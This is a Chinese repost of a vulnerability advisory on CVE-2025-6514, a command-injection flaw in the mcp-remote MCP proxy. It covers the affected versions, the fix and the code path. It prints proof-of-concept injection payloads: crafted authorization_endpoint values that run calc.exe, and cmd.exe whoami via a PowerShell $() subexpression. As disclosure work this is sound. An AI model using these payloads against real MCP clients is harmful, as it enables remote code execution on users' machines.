mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531794&idx=2&sn=12cf79e2129fed86722ef157f501769c

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

Ots安全 2025-07-17 06:19

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

JFrog 安全研究团队近期发现并披露了mcp-remote项目中的一个高危(CVSS 9.6)安全漏洞CVE-2025-6514,该项目是模型上下文协议 (MCP) 客户端常用的工具。该漏洞允许攻击者在运行 mcp-remote 的计算机上发起与不受信任的 MCP 服务器的连接时触发任意操作系统命令执行,从而对用户构成重大风险——可能导致系统全面入侵。

mcp-remote 是一个代理,它使大型语言模型 (LLM) 主机(例如 Claude Desktop)能够与远程 MCP 服务器通信,即使它们本身仅支持与本地 MCP 服务器通信。

虽然之前发表的研究已经证明了 MCP 客户端连接到恶意 MCP 服务器的风险,但这是第一次在真实场景中连接到不受信任的远程 MCP 服务器时在客户端操作系统上实现完全远程代码执行。

我们要感谢 mcp-remote 的主要维护者 Glen Maddern ( @geelen)及时修复此漏洞。

谁受到 CVE-2025-6514 的影响?

该漏洞影响 mcp-remote 0.0.5 至 0.1.15 版本,自 0.1.16 版本起已修复。

任何使用 mcp-remote 连接到使用受影响版本的不受信任或不安全的 MCP 服务器的人都容易受到此攻击。

在 Windows 上,我们已证明此漏洞可导致任意操作系统命令执行(具有完全参数控制的 Shell 命令)。在 macOS 和 Linux 上,此漏洞可导致执行具有有限参数控制的任意可执行文件。进一步研究后,

在这些平台上实现任意操作系统命令执行或许是可行的。

攻击场景:
– 场景 1 – MCP 客户端使用 mcp-remote 连接到不受信任(被劫持或恶意)的 MCP 服务器。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 1:MCP 客户端使用 mcp-remote 连接到不受信任的 MCP 服务器。
– 场景 2 – MCP 客户端使用 mcp-remote 以不安全的方式连接到 MCP 服务器(服务器的 URL 方案为 http),而本地局域网中的攻击者发起中间人攻击,劫持 MCP 流量。这种情况在本地网络中很常见,因为 MCP 客户端更有可能信任基于局域网的 MCP 服务器,并以不安全的方式连接到这些服务器。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 2:MCP 客户端使用 mcp-remote 不安全地连接到 MCP 服务器,同时本地攻击者重定向/控制 MCP 流量

如何缓解 CVE-2025-6514?

执行以下任意步骤均可缓解 CVE-2025-6514:
– 将 mcp-remote 更新至 0.1.16 版本,该版本已修复此漏洞。这是推荐的解决方案。

  • 仅使用 HTTPS(安全连接)连接到受信任的 MCP 服务器。

MCP 传输 – 本地与远程

模型上下文协议 (MCP) 是一项开放标准,于 2024 年 11 月问世,并迅速获得广泛关注和采用。它使 AI 助手和 LLM 主机能够安全地实时连接并与外部数据源、工具和服务交互。它允许这些 AI 系统访问来自数据库、API 和应用程序的实时信息,同时确保安全性并让用户控制模型可以访问的数据。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 3:LLM 应用程序使用在同一台机器上运行的本地 MCP 服务器

最初,MCP 服务器部署在本地,与 LLM 应用程序运行在同一台计算机上。后来出现了远程 MCP 服务器,允许多个 LLM 应用程序共享同一个 MCP 服务器实例,同时减轻了跨单个安装维护和更新服务器的运营负担。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 4:LLM 应用程序通过本地与 mcp-remote 通信来使用远程 MCP 服务器,mcp-remote 通过 HTTP 代理与远程 MCP 服务器进行通信

当远程 MCP 服务器实现开始出现时,mcp-remote 工具在 AI 社区中开始流行,而大多数 MCP 客户端仍然只支持连接到本地服务器。

该工具使仅支持通过 STDIO 进行本地 MCP 传输的应用程序(如 Claude Desktop、Cursor 和 Windsurf)能够作为代理通过 HTTP 传输与远程 MCP 服务器连接。

mcp-remote 的使用非常广泛,您可以在 Cloudflare 的官方文档、auth0 集成文档、Hugging Face 的博客以及远程 MCP 采用教程中看到。

值得注意的是,最近几周,Cursor 和 Windsurf 等 LLM 主机提供商已新增直接连接远程 MCP 服务器的功能。此外,Anthropic 也为 Claude Desktop 付费订阅用户添加了此功能。

CVE-2025-6514 摘要

当用户想要配置他们的 LLM 主机(例如 Claude Desktop)以连接到远程 MCP 服务器时,他们会编辑 Claude 的配置文件以添加仅包含远程 MCP 服务器 URL 的 mcp-remote 命令。

{
   "mcpServers": {
      "remote-mcp-server-example": {
       "command": "npx",
       "args": [
       "mcp-remote",
       "http://remote.server.example.com/mcp"
       ]
     }
   }
 }

图 5:使用 mcp-remote 配置远程 MCP 服务器的示例 MCP json 配置文件

保存配置或重启 Claude Desktop 后,mcp-remote 会开始与 MCP 服务器进行初始通信。服务器可能会要求其进行身份验证,然后 mcp-remote 会向服务器请求其 OAuth 端点的元数据。服务器会返回其authorization_endpointURL(例如 https://remote.server.example.com/authorize)以及其他值,并在浏览器中打开,供用户输入凭据。

为了触发此漏洞,恶意 MCP 服务器可以使用特制的authorization_endpointURL 值进行响应,如下图所示:

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 6:mcp-remote 初始化与恶意 MCP 服务器的连接

mcp-remote 将尝试在浏览器中打开这个精心设计的 URL,由于 CVE-2025-6514,这将导致命令注入,从而使攻击者能够实现任意操作系统命令执行。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 7:利用漏洞后运行的 calc.exe

CVE-2025-6514 技术细节

mcp-remote 充当本地(STDIO)MCP 传输和远程(Streamable/SSE – 基于 HTTP 的协议)传输之间的代理,同时提供身份验证/授权功能。

要使用 mcp-remote 设置新的远程 MCP 服务器,用户只需在 MCP 客户端的 JSON 配置文件中添加服务器的 URL – 如上图 5 所示。

重新打开 MCP 客户端的应用程序时,就像 Claude Desktop 的情况一样,它会运行提供的 npx 命令,创建一个 Node 进程,并使用上述配置文件中的参数提供proxy.ts:runProxy程序启动 mcp-remote 的功能。serverUrl

此函数构造一个NodeOAuthClientProvider对象,以便在远程服务器需要授权时使用。

最终,StreamableHTTPClientTransport会创建一个对象,并send使用提供的参数调用其方法serverUrl。本例中,请求“ http://remote.server.example.com/mcp ”会收到来自“恶意”服务器的“ 401 Unauthorized ”响应,从而导致服务器调用auth.ts:auth相应函数开始授权。为了清晰起见,我们简化了函数

内部的操作,让我们看看具体发生了什么:auth

exportasyncfunctionauth(
   provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise{
   let authorizationServerUrl = serverUrl;
   try {
     /* ### 1 ### */
     const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
       resourceMetadataUrl || serverUrl);
       /* ... */
   } catch (error) {console.warn("Could not load OAut..", error)}


   /* ### 2 ### */
   const metadata = await discoverOAuthMetadata(authorizationServerUrl);


   // Handle client registration if needed
   let clientInformation = awaitPromise.resolve(provider.clientInformation());
   if (!clientInformation) {
     /* ... */
     /* ### 3 ### */
     const fullInformation = await registerClient(serverUrl, { 
       metadata,
       clientMetadata: provider.clientMetadata });
     /* ... */
   }

   /* ... */

   // Start new authorization flow
   /* ### 4 ### */
   const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
     metadata,
     clientInformation,
     redirectUrl: provider.redirectUrl,
     scope: scope || provider.clientMetadata.scope,
   });


   await provider.saveCodeVerifier(codeVerifier);
   /* ### 5 ### */
   await provider.redirectToAuthorization(authorizationUrl);
   return"REDIRECT";
 }

图 8:auth.ts(官方 MCP Typescript SDK)中 auth 函数的简化代码片段

此函数用于启动 OAuth 授权流程。让我们仔细阅读 ### 号内的注释:

  1. 我们discoverOAuthProtectedResourceMetadata通过从我们的服务器返回 401 Unauthorized 来跳过此函数的获取请求的逻辑(http://remote.server.example.com/.well-known/oauth-protected-resource)

  2. 然后discoverOAuthMetadata被调用,从我们服务器的/.well-known/oauth-authorization-server端点获取 OAuth 元数据,该端点返回一个 JSON 对象,其中列出了 OAuth 端点和配置参数。此响应中包含authorization_endpoint字段。该字段的值通常包含用于验证用户身份的标准 HTTP URL,但为了触发命令执行,恶意服务器会返回一个精心设计的值:

{“ authorization_endpoint”:“file:/c:/windows/system32/calc.exe ”,
“ registry_endpoint”:“ https://remote.server.example.com/register”,/*
… */
“ code_challenge_methods_supported”:[“ S256”]}
  1. 它继续进行动态客户端注册:访问我们的 /register 端点 – 我们给出有效的答案,因此流程继续。

  2. 该startAuthorization函数被调用(见下文),并使用metadata.authorization_endpoint我们在上面步骤 2 中提供的字符串构造一个新的 URL()。然后,它向其添加查询字符串参数并返回它:

exportasyncfunctionstartAuthorization(
   serverUrl, {metadata, clientInformation, redirectUrl, scope } {
   if (metadata) {
     authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
   /* ... checks some metadata params that pass ... */
   }
   /* ... */
   /* adding searchParams (query-string) to the authorizationUrl */
   authorizationUrl.searchParams.set("response_type", responseType);
   /* ... */
   return { authorizationUrl, codeVerifier };
 }

图 9:auth.ts(官方 MCP Typescript SDK)中 startAuthorization 函数的简化代码片段

  1. 然后provider.redirectToAuthorization(authorizationUrl)调用redirectToAuthorization我们的对象的方法NodeOAuthClientProvider,该方法位于node-oauth-client-provider.ts中:
asyncredirectToAuthorization(authorizationUrl: URL): Promise {
     log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
     try {
       await open(authorizationUrl.toString()) /* ### 6 ### */
       log('Browser opened automatically.')

     } catch (error) {
/* ... *
     }
   }

图 10:node-oauth-client-provider.ts 中重定向授权函数的简化代码片段

  1. ()函数从“open”npm 包open导入。  在 Windows 机器上执行以下操作*: open(param)
  2. 查找 powershell.exe 的路径

  3. 准备将运行 param 参数的 PowerShell 编码命令。

  4. 使用以下命令行在新的子进程中运行它:

powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ' UwB0AGEAcgB0ACAAIgBqAGEAdgB….= '

D.PowerShell 解码该命令并运行。在我们的例子中,它将执行 calc.exe:

启动“ file:/c:/windows/system32/calc.exe ?response_type=code…..”
  • “open”软件包在 macOS 和 Linux 上使用不同的代码路径,分别执行“open URL”或“xdg-open URL”。虽然这些实现也可以被利用通过 file:// URL 运行任意可执行文件,但由于没有调用 shell,攻击面更加有限,从而限制了控制可执行文件参数的能力。

从有限到完整的命令执行

该Start关键字指的是 PowerShell 的Start-Processcmdlet,可以运行可执行文件,或将其传递给 Windows Shell 进行文件扩展名关联或协议处理程序(URI 方案)。

因为该authorization_endpoint字符串用于构造new URL(),所以它必须采用有效的 URL 格式,并以 URI 方案开头。

当提供“ file:/c:/windows/system32/calc.exe ?response_type=code…..”时 – file: URI 方案将用于执行 calc.exe 可执行文件。

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 11:mcp-remote 在试图打开浏览器进行授权时执行 calc.exe 进程

现在我们可以运行任何可执行文件,但没有参数——这不够有用。

我们可以尝试使用诸如“ file://IP_ADDR/Share/test.bat ?response_type=code…..”之类的 URL 来执行远程文件,该 URL 指向用于访问网络资源的 UNC 路径(请注意双反斜杠)。

它可以工作——但是 Windows 会弹出有关运行远程可执行文件的安全警告:

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 12:尝试执行 UNC 路径时显示的安全警告

让我们尝试一种不同的策略——由于命令在 PowerShell 中运行,我们可以滥用子表达式评估功能来注入我们的命令:“http://www.example $(calc.exe) .com/?response_type=code…..”。这将运行 calc.exe,因为子表达式运算符 $()将评估(运行)其参数表达式。

如果我们能够提供一个“空格”字符,这项技术就能让我们向命令注入任意参数。但由于我们的字符串经过了URL(),而空格在URL中不是有效字符,因此它要么会导致new URL()调用失败(如果在域名内),要么URL会被编码为%20。例如,输入“http://www.example.com/ $(cmd.exe /c echo test) ”会被翻译成“http://www.example.com/ $(cmd.exe%20/c%20echo%20test) /?response_type=code…..”

对于“file:”请求也会发生同样的情况。

最终,我们注意到,如果提供一个不存在且不包含反斜杠的方案,URL 不会被编码。因此,我们可以输入“ a:$(cmd.exe /c whoami > c:\temp\pwned.txt) ?response_type=code…..”来实现完整的命令执行!

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

图 13:我们的 cmd.exe /c 命令在 C:\temp 中创建了一个新的 pwned.txt 文件 – 证明代码执行成功。

概括

随着 CVE-2025-6514 的发现,我们已证明连接到不受信任的 MCP 服务器时存在远程代码执行漏洞。如前所述,Cursor、Windsurf 和 Claude 等 LLM 托管服务商现已添加类似的远程 MCP 连接功能。MCP 用户必须特别注意,仅使用安全连接方式 (HTTPS) 连接到受信任的 MCP 服务器,因为在不断发展的 MCP 生态系统中,可能会发现与 CVE-2025-6514 类似的漏洞。

感谢您抽出

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

.

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

.

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

来阅读本文

mcp-remote 中存在严重 RCE 漏洞:CVE-2025-6514,威胁 LLM 客户端

点它,分享点赞在看都在这里